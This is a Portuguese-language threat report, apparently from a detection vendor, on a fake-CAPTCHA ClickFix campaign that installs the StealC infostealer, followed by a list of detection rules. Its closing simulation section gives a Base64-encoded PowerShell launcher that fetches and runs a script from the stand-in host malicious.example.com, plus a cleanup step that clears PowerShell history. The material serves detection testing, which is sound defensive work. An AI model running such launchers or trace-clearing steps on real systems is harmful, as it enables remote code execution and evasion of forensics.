SOC Prime Bias: Medium

16 Feb 2026 14:47 UTC

Como o ClickFix Abre a Porta para o Furtivo Roubador de Informações StealC

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Como o ClickFix Abre a Porta para o Furtivo Roubador de Informações StealC
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Uma intrusão em múltiplas fases, sem uso de arquivo, começa em um site de restaurante vietnamita comprometido hospedando um CAPTCHA falso. As vítimas são induzidas a executar um PowerShell que baixa shellcode independente de posição, que carrega reflexivamente um downloader de 64 bits e injeta o ladrão de informações StealC no svchost.exe. O StealC coleta credenciais do navegador, dados de carteiras de criptomoeda, credenciais do Steam e do Outlook, detalhes do host e capturas de tela, então exfiltra via tráfego HTTP criptografado com RC4.

Investigação

Pesquisadores dissecavam o carregador JavaScript e PowerShell, confirmaram o uso da estrutura de shellcode Donut e seguiram as buscas HTTP do downloader para URLs controlados por atacantes. O ladrão parece ser um malware como serviço orientado por construtor, com recursos modulares de roubo, além de uma rotina de autoexclusão. As notas de caça incluem um valor User-Agent de “Loader” e chaves de registro específicas ligadas à preparação e execução.

Mitigação

As defesas recomendadas incluem limitar ou desabilitar colagens de área de transferência em navegadores, apertar políticas de execução do PowerShell e alertar sobre strings User-Agent incomuns. Adicione detecção para carregamento reflexivo de PE e injeção de processos, e aplique inspeção de HTTP de saída para entrega de payload codificado em Base64. A educação do usuário sobre iscas de CAPTCHA falsas deve ser tratada como um controle, não como um pensamento posterior.

Resposta

Se descoberto, isole o endpoint, pare a instância injetada de svchost.exe, capture dumps de memória para revisão do shellcode e bloqueie os domínios/URLs maliciosos. Redefina as credenciais expostas, revise registros e artefatos do navegador para impacto e observe o tráfego residual de C2.

Fluxo do Ataque

Detecções

Possível Uso de PING para Execução Atrasada (via linha de comando)

Equipe SOC Prime
16 Fev 2026

Download de Arquivo Suspeito por IP Direto (via proxy)

Equipe SOC Prime
16 Fev 2026

LOLBAS wmic (via linha de comando)

Equipe SOC Prime
16 Fev 2026

Download ou Upload via PowerShell (via linha de comando)

Equipe SOC Prime
16 Fev 2026

IOCs (SourceIP) para detectar: Como o ClickFix Abre a Porta para o Ladrão de Informações StealC Discreto

Regras SOC Prime AI
16 Fev 2026

IOCs (HashSha256) para detectar: Como o ClickFix Abre a Porta para o Ladrão de Informações StealC Discreto

Regras SOC Prime AI
16 Fev 2026

IOCs (DestinationIP) para detectar: Como o ClickFix Abre a Porta para o Ladrão de Informações StealC Discreto

Regras SOC Prime AI
16 Fev 2026

Detectar Atividade de Rede do Ladrão de Informações StealC [Conexão de Rede do Windows]

Regras SOC Prime AI
16 Fev 2026

Detectar Injeção de Processo via StealC no svchost.exe [Criação de Processo do Windows]

Regras SOC Prime AI
16 Fev 2026

Comando PowerShell EncodedCommand e iex(irm) Detectado [PowerShell do Windows]

Regras SOC Prime AI
16 Fev 2026

Execução de Simulação

Pré-requisito: A Verificação de Pré-parcela de Telemetria e Ponto de Referência deve ter sido aprovada.

Justificação: Esta seção detalha a execução precisa da técnica adversária (TTP) designada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente as TTPs identificadas e visam gerar exatamente a telemetria esperada pela lógica de detecção.

  • Narrativa de Ataque e Comandos:

    Um atacante recebe um e-mail de phishing contendo uma URL curta. O objetivo é instalar um backdoor remoto do PowerShell sem alertar o usuário. O atacante cria um payload PowerShell codificado em Base64 que baixa um script malicioso de um servidor C2 e o executa imediatamente usando iex(irm…). Usando o switch -EncodedCommand , o atacante esconde os comandos reais de uma inspeção casual, e o padrão iex(irm…) corresponde diretamente à regra de detecção.

    1. Crie o script malicioso (payload.ps1) hospedado em http://malicious.example.com/payload.ps1.

    2. Codifique o comando do launcher:

      $launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"
      $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher)
      $encoded = [Convert]::ToBase64String($bytes)
      Write-Output $encoded   # Este valor é usado no próximo passo
    3. Execute o comando codificado no alvo:

      powershell.exe -EncodedCommand <Base64StringFromStep2>

    Isso gera um evento Sysmon ProcessCreate onde CommandLine contém -EncodedCommand and o texto decodificado inclui iex(irm…), satisfazendo a regra Sigma.

  • Script de Teste de Regressão:

    #-----------------------------------------------------------
    # Script de Simulação – Dispara PowerShell EncodedCommand + iex(irm)
    #-----------------------------------------------------------
    
    # 1. Defina a URL do script malicioso (substitua pelo seu servidor de teste)
    $maliciousUrl = "http://malicious.example.com/payload.ps1"
    
    # 2. Construa o comando de uma linha que baixa e executa o script
    $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))"
    
    # 3. Codifique o comando em Base64 (Unicode)
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
    $b64   = [Convert]::ToBase64String($bytes)
    
    # 4. Inicie o PowerShell com o comando codificado
    Write-Host "Executando comando codificado..."
    Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" `
                  -ArgumentList "-EncodedCommand $b64" `
                  -NoNewWindow -Wait
    
    Write-Host "Simulação concluída."
  • Comandos de Limpeza:

    # Remova quaisquer arquivos temporários criados pelo payload simulado (se houver)
    # Exemplo: exclua o script baixado se ele foi salvo localmente
    $tempPath = "$env:TEMPpayload.ps1"
    if (Test-Path $tempPath) {
        Remove-Item $tempPath -Force
        Write-Host "Payload temporário removido."
    }
    
    # Opcionalmente, limpe o histórico do PowerShell para reduzir rastreamento forense
    Clear-History